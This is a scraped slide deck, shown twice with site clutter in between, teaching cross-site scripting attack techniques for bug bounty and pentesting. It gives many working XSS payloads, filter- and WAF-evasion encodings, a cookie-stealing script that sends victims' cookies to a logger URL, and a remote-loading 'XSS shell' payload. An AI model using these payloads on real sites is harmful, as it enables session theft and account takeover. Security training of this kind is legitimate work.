XSS Primer: Noob to Pro in 1
hour
By @snoopy_security
Who and Why
•
Student & Junior Security Consultant.
•
XSS is a easy win if you do it correctly.
•
Bug bounties pay well and clients give you respect.
•
Cross site scripting is one of the oldest web application
attacks known and is to be dated around 1996-1998
What is XSS?

Untrusted data from user is processed by the
application without any sort of validation.

It affects client side but the vulnerability resides in the
server side.

Different types Reflected, Stored and DOM XSS
What is XSS?
Reflected XSS
What is wrong with the above code?

The above code just prints the comment which is
retrieved from the $_GET variable.
Can add malicious JavaScript with the original URL.

<?php

echo '<h1>Hello ' . $_GET["name"]. '</h1>';
Some Beginner Tips

XSS can come from anywhere. Some common ones are

URL parameter

Headers i.e user agent

Metadata

Input forms

Text area

Hidden fields

Flash parameters

File Uploads
Some Beginner Tips

1. Try injection HTML Tags as well and malicious JavaScript
2. SVG is always good for a short and crisp attack vector. Can
add whitespaces forward slashes and unclosed tags.
3. Add junk data with your payload
4. Always try a couple of different payloads. This mainly
applies when trying to evade filters.

"><svg/onload=prompt(1)>
Stored XSS

Malicious payload is stored by the server though database
or other forms of storage and is reflected back.

This form of attack is easier than phishing with XSS
payloads.

Can get admin cookies as well access to the internal
network depending on the attack vector.
DOM XSS
The document object model is a structured representation of
the web page rendered by the browser.
DOM is where event handlers and any other JavaScript
functions execute. DOM shows all the JavaScript and HTML
rendered by your browser.
DOM defines a way a webpage accessed and manipulated.
An attacker can manipulate the DOM by adding malicious
JavaScript which can change elements set by the DOM to
attack a victim.
DOM XSS

To find DOM XSS, analyse the JavaScript being executed on
the page and see if DOM being written.

DOM is not view source. Inspect element is a better visual
representation of the DOM.

ZAP,Burp and other proxies does pick up unsafe methods
but you will need to check manually.

If it cannot be exploitable, try figuring about what library
and unsafe sink the application is using. E.g. jquery .attr()
DOM XSS

Common methods used to access DOM

document.location

document.URL

document.URLUnencoded

document.referrer

window.location

Passed data can then be written by methods such as eval,
document.write and window.setinterval.
Useful sources
OWASP DOM XSS prevention cheat – gives you good
explanation on unsafe methods that directly modify DOM.
The DOM XSS wiki
:https://code.google.com/p/domxsswiki/wiki/Introduction
The wiki has useful information on dangerous methods,
common sources and sinks.
Other variations include Mutation XSS. More on that later…..
Context is Everything
Context is where the given input is reflected back.
Five common ones
1. HTML
2. Attributes
3. Script
4. URL
5. Style
HTML Context

Malicious input in reflected back in the html body in tags
such as <div><p><title> and more.

Easiest to attack

Close the tag and try <script>alert(1)</script> or any similar
payload.
Attribute Context

HTML elements can have attributes. Attributes are

Input is reflected in a attribute element. So look for input
being reflected back in ‘value =‘ or ‘alt =‘ or something
similar.

Most of the time, attributes will be inside a single or a
double quote.
Couple of tips
1. Break out of the context by closing the quote and attribute
tag. E.g ‘>
2. Any type of encoding won’t help your payload if you can’t
break out of context.
3. If in doubt, URL-encode any special characters that
have signify & = + ; and space. aas' onload='prompt(0);''
4. Event handlers can also be used to attack attributes aas'
onload='prompt(0);''
Script Context
The input will be reflected back inside a script tag. break out
of text with quotes and execute
Input is usually reflected back as part of a variable.
Payload example 
junk' ; alert(1);//
URL Context

The input is reflected back in a href attribute. E.g.

<iframe src=“[Reflected Data]”>

<a href==“[Reflected Data]”>Link</a>

<META http-equiv=“refresh” content=““[Reflected Data]”>

No need to break out of context. Only need to encode
payloads. This type of context requires the victim to click
the URL to execute.
Tips

Common ways to attack URL Context
The above payload is base64 encoded. More about encoding
later.
You can also define the charset just like data, this might be
useful in some cases.

javascript:prompt(0)
data/text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
CSS Context
Also know as style context
Input is usually reflected in inside a style tag
Can be attacked using
Another common one

width:expression(alert(‘XSS’))
WAF Detection
Usually Regex, Blacklist or whitelist based
WAF can sometimes detect inbound as well as outbound.
Most WAFs still detect using a signature based approach.
Common way to detect WAFs: Modified cookies, rewritten
headers and response codes
WAF Detection

Find combinations of allowed and block characters first.

Some known tools to detect WAF.
•
Wafw00f
•
http-waf-fingerprint NSE script
•
http-waf-detect NSE script
Will only detect the popular ones.

xss,<>{};”’script
Filter Evasion 101

More than one ways to skin a web app!

If <script> tag is blocked>
If site is filtering double and single quotes, you can use back
tick (`). This technique only works on IE.
“><script >alert(document.cookie)</script >
“><ScRiPt>alert(document.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)
%3c/script%3e
“><scr<script>ipt>alert(document.cookie)</scr</s
cript>ipt>
%00“><script>alert(document.cookie)</script>
Filter Evasion
Some popular techniques consists of spaces, encoding and
comments. Try using prompt or confirm instead of alert
Calling a external JavaScript file from inside a script source tag
if brackets and quotes are blocked.
If the application is filtering quotes or blocking script tags, try
the below

<SCRIPT
SRC=https://web.archive.org/web/20150121175718/http://ha.cker
s.org/xss.js></SCRIPT>

<img/src=x onerror=prompt(/XSS/);>
Filter Evasion
When in doubt, try to comment everything after your
payload.
If less than and greater than sign is filtered in attribute
context, try
If script and src tags are blocked in a html context, try
<script>alert(1)</script><!-- (html/attribute context)
“;alert(5);// (script context)

“ onload=“prompt(0);””

<object data=“javascript:alert(0)”>
Filter Evasion resources
Too many techniques to present. Check them out here
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat
_Sheet
http://codev587.net/xss-filter-evasion-cheat-sheet-no1.html
http://n0p.net/penguicon/php_app_sec/mirror/xss.html
Encoding
Encoding – transferring data from one format to another. E.g.
ASCII, Unicode, URL Encoding etc
Browsers support numerous encoding schemes but the attack
vector depends on the page and its meta tag e.g.
Encoding is useful if the server is decoding correctly. Still need
to break out of context correctly for the encoded payload to
work.
<svg/onload=alert&#40&#41>>
Encoding
The following table describes how a user can obfuscate an IP
address:
This trick is getting more common among phishers. E.g.
http://0xd2.0xdb.0xf1.0x7b/.online/BankofAmericaOnlineID/
SignIn
URL Form
http://127.0.0.1/ Decimal
http://2130706433/ Dword
http://0x7f.0x00.0x00.0x01/ Hex
http://0177.0000.0000.0001/ Octal
http://127.0x00.0000.0x01/ Mixed
Encoding
fromCharCode() method converts Unicode values into
characters
Long UTF-8 Unicode encoding to bypass filters
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<img src=x
onerror="&#0000106&#0000097&#0000118&#0000097&#00001
15&#0000099&#0000114&#0000105&#0000112&#0000116&#0
000058&#0000097&#0000108&#0000101&#0000114&#0000116
&#0000040&#0000039&#0000088&#0000083&#0000083&#000
0039&#0000041">
Encoding
Encoding can also be useful to break up an XSS payload if the
server is using pattern matching regex.
Can also double encode payloads. Depends on how the
application processes encoded client requests.
The hexadecimal encoding of “../” represents "%2E%2E%2f“
Double encoding of “../” represents "%252E%252E%252F"
<IMG SRC="jav&#x09;ascript:alert('XSS');">
More Filter Evasion
ASCII Decimal Encoded
Will turn into alert(‘XSS’). The payload uses html entities
which is decoded and rendered by the browser.
ASCII Hex Encoded
Useful for bypassing ‘magic_quotes_gpc’
&#106;&#97;&#118;&#97;&#115;&#99;&#114;
&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;
&#40;&#39;&#88;&#83;&#83;&#39;&#41;
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70
;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2
7;&#x58;&#x53;&#x53;&#x27;&#x29;
Encoding
More Examples here:
http://htmlpurifier.org/live/smoketests/xssAttacks.php
https://danielmiessler.com/study/encoding/
Some useful encoders:
http://n0p.net/penguicon/php_app_sec/mirror/xss.html
http://evuln.com/tools/xss-encoder/
https://mothereff.in/html-
entitieshttp://dev.w3.org/html5/html-author/charref
https://hackvertor.co.uk/public
http://utf-8.jp/public/jjencode.html?src=
Actual attack vectors
<script>window.location="http://example.com/logger.php?
cookie="+document.cookie;</script>
When executed, the above code sends the victims cookie to
an attacker controlled site.
Can be used for many things including cookie stealing, drive
by downloads, running browser exploits, phishing and
more.
BeEF makes everything easy
More cool XSS payloads:http://www.xss-payloads.com/
Useful tools

Opinion: Most scanners suck at finding XSS.

Couple of tools I like – Xenotix, XSSValidator Burp Plugin,
Sleepy puppy (If testing multiple applications, has trackable
XSS payloads)
How to build a scanner that works?
A - Scanning within a browser engine.
B - Using PhantonJS or similar webkit detect successful
reflected XSS.
I still prefer finding XSS manually but I like having options
XSS Shell Demo
Cool POC by Brutelogic. Fun way to report XSS than just
script alert(1).
Attacker machine listener
Target payload
<svg/onload=setInterval(function()
{d=document;z=d.createElement("script");z.src="//HOST:PORT";d.
body.appendChild(z)},0)>
Things I didn’t mention
Flash XSS – Embedded SWF files can be decompiled to source
code. This can be used to find unfiltered variables which can
be called from an URL to include malicious XSS.
XSS Polyglot – Upload a flash file and be accepted as vaild
JavaScript. Run remote XSS with src tag. (can be beat CSP in
rare cases)
Mutation XSS – There are more ways to trick DOM into
parsing malicious XHTML like payloads.
All worth checking out…..
@snoopy_security
IRC:#SHUHACKSOC
Website:http://shuhacksoc.co.uk

More Related Content

PDF
[OPD 2019] Attacking JWT tokens
PPT
Hacking Web 2.0 - Defending Ajax and Web Services [HITB 2007 Dubai]
PDF
Secure coding presentation Oct 3 2020
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PDF
XSS Cheat Sheet
PPT
PPTX
Web Application Security 101
PPT
渗透测试思路技术与方法
[OPD 2019] Attacking JWT tokens
Hacking Web 2.0 - Defending Ajax and Web Services [HITB 2007 Dubai]
Secure coding presentation Oct 3 2020
Bug Bounty Hunter Methodology - Nullcon 2016
XSS Cheat Sheet
Web Application Security 101
渗透测试思路技术与方法

What's hot (20)

PPT
UnicodeによるXSSと SQLインジェクションの可能性
PDF
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0
PDF
Ch 11: Hacking Wireless Networks
PPTX
Express js
PPTX
OWASP Top 10 2021 What's New
PDF
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
PDF
HTTP Security Headers Every Java Developer Must Know
PPT
Pentesting Using Burp Suite
PPTX
Introduction to Node.js
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PPTX
Footprinting and reconnaissance
PPTX
Pentesting jwt
PDF
Shift Left Security
PPTX
Bug Bounty 101
PDF
Offensive PowerShell Cheat Sheet
PPT
Intro to Web Application Security
PPTX
Owasp Top 10 A1: Injection
PPTX
Understanding Cross-site Request Forgery
PPTX
Secure coding practices
UnicodeによるXSSと SQLインジェクションの可能性
HTTP by Hand: Exploring HTTP/1.0, 1.1 and 2.0
Ch 11: Hacking Wireless Networks
Express js
OWASP Top 10 2021 What's New
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
HTTP Security Headers Every Java Developer Must Know
Pentesting Using Burp Suite
Introduction to Node.js
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Footprinting and reconnaissance
Pentesting jwt
Shift Left Security
Bug Bounty 101
Offensive PowerShell Cheat Sheet
Intro to Web Application Security
Owasp Top 10 A1: Injection
Understanding Cross-site Request Forgery
Secure coding practices
Ad

Viewers also liked (18)

PDF
DevOps(2) : Vagrant - (MOSG)
PPT
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
PDF
Viruses on mobile platforms why we don't/don't we have viruses on android_
PDF
Attacking IPv6 Implementation Using Fragmentation
PDF
Radware DefensePipe: Cloud-Based Attack Mitigation Solution
PDF
Anti evasion and evader - klaus majewski
PPTX
Advanced Persistent Threats (APTs) - Information Security Management
PPTX
Static Analysis Security Testing for Dummies... and You
PPTX
THE VEIL FRAMEWORK
PPTX
Veil Evasion and Client Side Attacks
ODP
2600 av evasion_deuce
PPTX
Fortinet sandboxing
PDF
Ever Present Persistence - Established Footholds Seen in the Wild
PDF
The Art of AV Evasion - Or Lack Thereof
PPT
Fortigate Training
PDF
FortiGate Firewall HOW-TO - DMZ
PPTX
Change Management PPT Slides
DevOps(2) : Vagrant - (MOSG)
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Viruses on mobile platforms why we don't/don't we have viruses on android_
Attacking IPv6 Implementation Using Fragmentation
Radware DefensePipe: Cloud-Based Attack Mitigation Solution
Anti evasion and evader - klaus majewski
Advanced Persistent Threats (APTs) - Information Security Management
Static Analysis Security Testing for Dummies... and You
THE VEIL FRAMEWORK
Veil Evasion and Client Side Attacks
2600 av evasion_deuce
Fortinet sandboxing
Ever Present Persistence - Established Footholds Seen in the Wild
The Art of AV Evasion - Or Lack Thereof
Fortigate Training
FortiGate Firewall HOW-TO - DMZ
Change Management PPT Slides
Ad

Similar to XSS Primer - Noob to Pro in 1 hour (20)

PDF
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
PPT
Same Origin Policy Weaknesses
PDF
Ch 12 Attacking Users - XSS
PDF
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
PPTX
04. xss and encoding
PDF
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
KEY
Cross Site Scripting - Mozilla Security Learning Center
PDF
Ultimate xss
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 2 of 3)
DOCX
Pantallas escaneo Sitio Web
PPTX
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
PPTX
Web Hacking Series Part 4
PPTX
Cross Site Scripting: Prevention and Detection(XSS)
DOCX
logout.php Session Data after Logout Username Email . $_.docx
PPT
PPT
&lt;img src="xss.com">
KEY
Application Security for Rich Internet Applicationss (Jfokus 2012)
PDF
Xss 101 by-sai-shanthan
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
Same Origin Policy Weaknesses
Ch 12 Attacking Users - XSS
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
04. xss and encoding
CNIT 129S: Ch 12: Attacking Users: Cross-Site Scripting
Cross Site Scripting - Mozilla Security Learning Center
Ultimate xss
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 2 of 3)
Pantallas escaneo Sitio Web
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
Web Hacking Series Part 4
Cross Site Scripting: Prevention and Detection(XSS)
logout.php Session Data after Logout Username Email . $_.docx
&lt;img src="xss.com">
Application Security for Rich Internet Applicationss (Jfokus 2012)
Xss 101 by-sai-shanthan

Recently uploaded (20)

PDF
Getting started with AI Agents and Multi-Agent Systems
PDF
Zenith AI: Advanced Artificial Intelligence
PDF
A review of recent deep learning applications in wood surface defect identifi...
PDF
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
PDF
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
PDF
sustainability-14-14877-v2.pddhzftheheeeee
PPTX
Final SEM Unit 1 for mit wpu at pune .pptx
PPTX
Configure Apache Mutual Authentication
PPT
What is a Computer? Input Devices /output devices
PDF
A proposed approach for plagiarism detection in Myanmar Unicode text
PPTX
Microsoft Excel 365/2024 Beginner's training
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
Convolutional neural network based encoder-decoder for efficient real-time ob...
PDF
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
PDF
Flame analysis and combustion estimation using large language and vision assi...
PPTX
Modernising the Digital Integration Hub
PPT
Geologic Time for studying geology for geologist
PDF
Developing a website for English-speaking practice to English as a foreign la...
PDF
Enhancing emotion recognition model for a student engagement use case through...
PDF
UiPath Agentic Automation session 1: RPA to Agents
Getting started with AI Agents and Multi-Agent Systems
Zenith AI: Advanced Artificial Intelligence
A review of recent deep learning applications in wood surface defect identifi...
From MVP to Full-Scale Product A Startup’s Software Journey.pdf
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
sustainability-14-14877-v2.pddhzftheheeeee
Final SEM Unit 1 for mit wpu at pune .pptx
Configure Apache Mutual Authentication
What is a Computer? Input Devices /output devices
A proposed approach for plagiarism detection in Myanmar Unicode text
Microsoft Excel 365/2024 Beginner's training
Hindi spoken digit analysis for native and non-native speakers
Convolutional neural network based encoder-decoder for efficient real-time ob...
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
Flame analysis and combustion estimation using large language and vision assi...
Modernising the Digital Integration Hub
Geologic Time for studying geology for geologist
Developing a website for English-speaking practice to English as a foreign la...
Enhancing emotion recognition model for a student engagement use case through...
UiPath Agentic Automation session 1: RPA to Agents

XSS Primer - Noob to Pro in 1 hour

  • 1. XSS Primer: Noob to Pro in 1 hour By @snoopy_security
  • 2. Who and Why • Student & Junior Security Consultant. • XSS is a easy win if you do it correctly. • Bug bounties pay well and clients give you respect. • Cross site scripting is one of the oldest web application attacks known and is to be dated around 1996-1998
  • 3. What is XSS?  Untrusted data from user is processed by the application without any sort of validation.  It affects client side but the vulnerability resides in the server side.  Different types Reflected, Stored and DOM XSS
  • 5. Reflected XSS What is wrong with the above code?  The above code just prints the comment which is retrieved from the $_GET variable. Can add malicious JavaScript with the original URL.  <?php  echo '<h1>Hello ' . $_GET["name"]. '</h1>';
  • 6. Some Beginner Tips  XSS can come from anywhere. Some common ones are  URL parameter  Headers i.e user agent  Metadata  Input forms  Text area  Hidden fields  Flash parameters  File Uploads
  • 7. Some Beginner Tips  1. Try injection HTML Tags as well and malicious JavaScript 2. SVG is always good for a short and crisp attack vector. Can add whitespaces forward slashes and unclosed tags. 3. Add junk data with your payload 4. Always try a couple of different payloads. This mainly applies when trying to evade filters.  "><svg/onload=prompt(1)>
  • 8. Stored XSS  Malicious payload is stored by the server though database or other forms of storage and is reflected back.  This form of attack is easier than phishing with XSS payloads.  Can get admin cookies as well access to the internal network depending on the attack vector.
  • 9. DOM XSS The document object model is a structured representation of the web page rendered by the browser. DOM is where event handlers and any other JavaScript functions execute. DOM shows all the JavaScript and HTML rendered by your browser. DOM defines a way a webpage accessed and manipulated. An attacker can manipulate the DOM by adding malicious JavaScript which can change elements set by the DOM to attack a victim.
  • 10. DOM XSS  To find DOM XSS, analyse the JavaScript being executed on the page and see if DOM being written.  DOM is not view source. Inspect element is a better visual representation of the DOM.  ZAP,Burp and other proxies does pick up unsafe methods but you will need to check manually.  If it cannot be exploitable, try figuring about what library and unsafe sink the application is using. E.g. jquery .attr()
  • 11. DOM XSS  Common methods used to access DOM  document.location  document.URL  document.URLUnencoded  document.referrer  window.location  Passed data can then be written by methods such as eval, document.write and window.setinterval.
  • 12. Useful sources OWASP DOM XSS prevention cheat – gives you good explanation on unsafe methods that directly modify DOM. The DOM XSS wiki :https://code.google.com/p/domxsswiki/wiki/Introduction The wiki has useful information on dangerous methods, common sources and sinks. Other variations include Mutation XSS. More on that later…..
  • 13. Context is Everything Context is where the given input is reflected back. Five common ones 1. HTML 2. Attributes 3. Script 4. URL 5. Style
  • 14. HTML Context  Malicious input in reflected back in the html body in tags such as <div><p><title> and more.  Easiest to attack  Close the tag and try <script>alert(1)</script> or any similar payload.
  • 15. Attribute Context  HTML elements can have attributes. Attributes are  Input is reflected in a attribute element. So look for input being reflected back in ‘value =‘ or ‘alt =‘ or something similar.  Most of the time, attributes will be inside a single or a double quote.
  • 16. Couple of tips 1. Break out of the context by closing the quote and attribute tag. E.g ‘> 2. Any type of encoding won’t help your payload if you can’t break out of context. 3. If in doubt, URL-encode any special characters that have signify & = + ; and space. aas' onload='prompt(0);'' 4. Event handlers can also be used to attack attributes aas' onload='prompt(0);''
  • 17. Script Context The input will be reflected back inside a script tag. break out of text with quotes and execute Input is usually reflected back as part of a variable. Payload example  junk' ; alert(1);//
  • 18. URL Context  The input is reflected back in a href attribute. E.g.  <iframe src=“[Reflected Data]”>  <a href==“[Reflected Data]”>Link</a>  <META http-equiv=“refresh” content=““[Reflected Data]”>  No need to break out of context. Only need to encode payloads. This type of context requires the victim to click the URL to execute.
  • 19. Tips  Common ways to attack URL Context The above payload is base64 encoded. More about encoding later. You can also define the charset just like data, this might be useful in some cases.  javascript:prompt(0) data/text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  • 20. CSS Context Also know as style context Input is usually reflected in inside a style tag Can be attacked using Another common one  width:expression(alert(‘XSS’))
  • 21. WAF Detection Usually Regex, Blacklist or whitelist based WAF can sometimes detect inbound as well as outbound. Most WAFs still detect using a signature based approach. Common way to detect WAFs: Modified cookies, rewritten headers and response codes
  • 22. WAF Detection  Find combinations of allowed and block characters first.  Some known tools to detect WAF. • Wafw00f • http-waf-fingerprint NSE script • http-waf-detect NSE script Will only detect the popular ones.  xss,<>{};”’script
  • 23. Filter Evasion 101  More than one ways to skin a web app!  If <script> tag is blocked> If site is filtering double and single quotes, you can use back tick (`). This technique only works on IE. “><script >alert(document.cookie)</script > “><ScRiPt>alert(document.cookie)</ScRiPt> “%3e%3cscript%3ealert(document.cookie) %3c/script%3e “><scr<script>ipt>alert(document.cookie)</scr</s cript>ipt> %00“><script>alert(document.cookie)</script>
  • 24. Filter Evasion Some popular techniques consists of spaces, encoding and comments. Try using prompt or confirm instead of alert Calling a external JavaScript file from inside a script source tag if brackets and quotes are blocked. If the application is filtering quotes or blocking script tags, try the below  <SCRIPT SRC=https://web.archive.org/web/20150121175718/http://ha.cker s.org/xss.js></SCRIPT>  <img/src=x onerror=prompt(/XSS/);>
  • 25. Filter Evasion When in doubt, try to comment everything after your payload. If less than and greater than sign is filtered in attribute context, try If script and src tags are blocked in a html context, try <script>alert(1)</script><!-- (html/attribute context) “;alert(5);// (script context)  “ onload=“prompt(0);””  <object data=“javascript:alert(0)”>
  • 26. Filter Evasion resources Too many techniques to present. Check them out here https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat _Sheet http://codev587.net/xss-filter-evasion-cheat-sheet-no1.html http://n0p.net/penguicon/php_app_sec/mirror/xss.html
  • 27. Encoding Encoding – transferring data from one format to another. E.g. ASCII, Unicode, URL Encoding etc Browsers support numerous encoding schemes but the attack vector depends on the page and its meta tag e.g. Encoding is useful if the server is decoding correctly. Still need to break out of context correctly for the encoded payload to work. <svg/onload=alert&#40&#41>>
  • 28. Encoding The following table describes how a user can obfuscate an IP address: This trick is getting more common among phishers. E.g. http://0xd2.0xdb.0xf1.0x7b/.online/BankofAmericaOnlineID/ SignIn URL Form http://127.0.0.1/ Decimal http://2130706433/ Dword http://0x7f.0x00.0x00.0x01/ Hex http://0177.0000.0000.0001/ Octal http://127.0x00.0000.0x01/ Mixed
  • 29. Encoding fromCharCode() method converts Unicode values into characters Long UTF-8 Unicode encoding to bypass filters <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#00001 15&#0000099&#0000114&#0000105&#0000112&#0000116&#0 000058&#0000097&#0000108&#0000101&#0000114&#0000116 &#0000040&#0000039&#0000088&#0000083&#0000083&#000 0039&#0000041">
  • 30. Encoding Encoding can also be useful to break up an XSS payload if the server is using pattern matching regex. Can also double encode payloads. Depends on how the application processes encoded client requests. The hexadecimal encoding of “../” represents "%2E%2E%2f“ Double encoding of “../” represents "%252E%252E%252F" <IMG SRC="jav&#x09;ascript:alert('XSS');">
  • 31. More Filter Evasion ASCII Decimal Encoded Will turn into alert(‘XSS’). The payload uses html entities which is decoded and rendered by the browser. ASCII Hex Encoded Useful for bypassing ‘magic_quotes_gpc’ &#106;&#97;&#118;&#97;&#115;&#99;&#114; &#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116; &#40;&#39;&#88;&#83;&#83;&#39;&#41; &#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70 ;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x2 7;&#x58;&#x53;&#x53;&#x27;&#x29;
  • 32. Encoding More Examples here: http://htmlpurifier.org/live/smoketests/xssAttacks.php https://danielmiessler.com/study/encoding/ Some useful encoders: http://n0p.net/penguicon/php_app_sec/mirror/xss.html http://evuln.com/tools/xss-encoder/ https://mothereff.in/html- entitieshttp://dev.w3.org/html5/html-author/charref https://hackvertor.co.uk/public http://utf-8.jp/public/jjencode.html?src=
  • 33. Actual attack vectors <script>window.location="http://example.com/logger.php? cookie="+document.cookie;</script> When executed, the above code sends the victims cookie to an attacker controlled site. Can be used for many things including cookie stealing, drive by downloads, running browser exploits, phishing and more. BeEF makes everything easy More cool XSS payloads:http://www.xss-payloads.com/
  • 34. Useful tools  Opinion: Most scanners suck at finding XSS.  Couple of tools I like – Xenotix, XSSValidator Burp Plugin, Sleepy puppy (If testing multiple applications, has trackable XSS payloads) How to build a scanner that works? A - Scanning within a browser engine. B - Using PhantonJS or similar webkit detect successful reflected XSS. I still prefer finding XSS manually but I like having options
  • 35. XSS Shell Demo Cool POC by Brutelogic. Fun way to report XSS than just script alert(1). Attacker machine listener Target payload <svg/onload=setInterval(function() {d=document;z=d.createElement("script");z.src="//HOST:PORT";d. body.appendChild(z)},0)>
  • 36. Things I didn’t mention Flash XSS – Embedded SWF files can be decompiled to source code. This can be used to find unfiltered variables which can be called from an URL to include malicious XSS. XSS Polyglot – Upload a flash file and be accepted as vaild JavaScript. Run remote XSS with src tag. (can be beat CSP in rare cases) Mutation XSS – There are more ways to trick DOM into parsing malicious XHTML like payloads. All worth checking out…..